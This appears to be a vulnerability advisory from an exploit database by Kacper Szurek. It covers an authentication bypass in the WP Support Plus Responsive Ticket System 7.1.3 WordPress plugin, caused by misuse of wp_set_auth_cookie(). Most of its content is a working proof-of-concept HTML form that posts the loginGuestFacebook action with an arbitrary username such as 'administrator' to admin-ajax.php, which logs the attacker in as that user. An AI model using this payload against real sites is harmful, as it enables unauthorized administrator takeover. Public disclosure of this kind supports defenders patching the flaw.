WordPress WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

2017.01.11
Credit: Kacper Szurek
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation # Date: 10-01-2017 # Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: web 1. Description You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie(). http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html 2. Proof of Concept <form method="post" action="http://wp/wp-admin/admin-ajax.php"> Username: <input type="text" name="username" value="administrator"> <input type="hidden" name="email" value="sth"> <input type="hidden" name="action" value="loginGuestFacebook"> <input type="submit" value="Login"> </form> Then you can go to admin panel.

References:

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html


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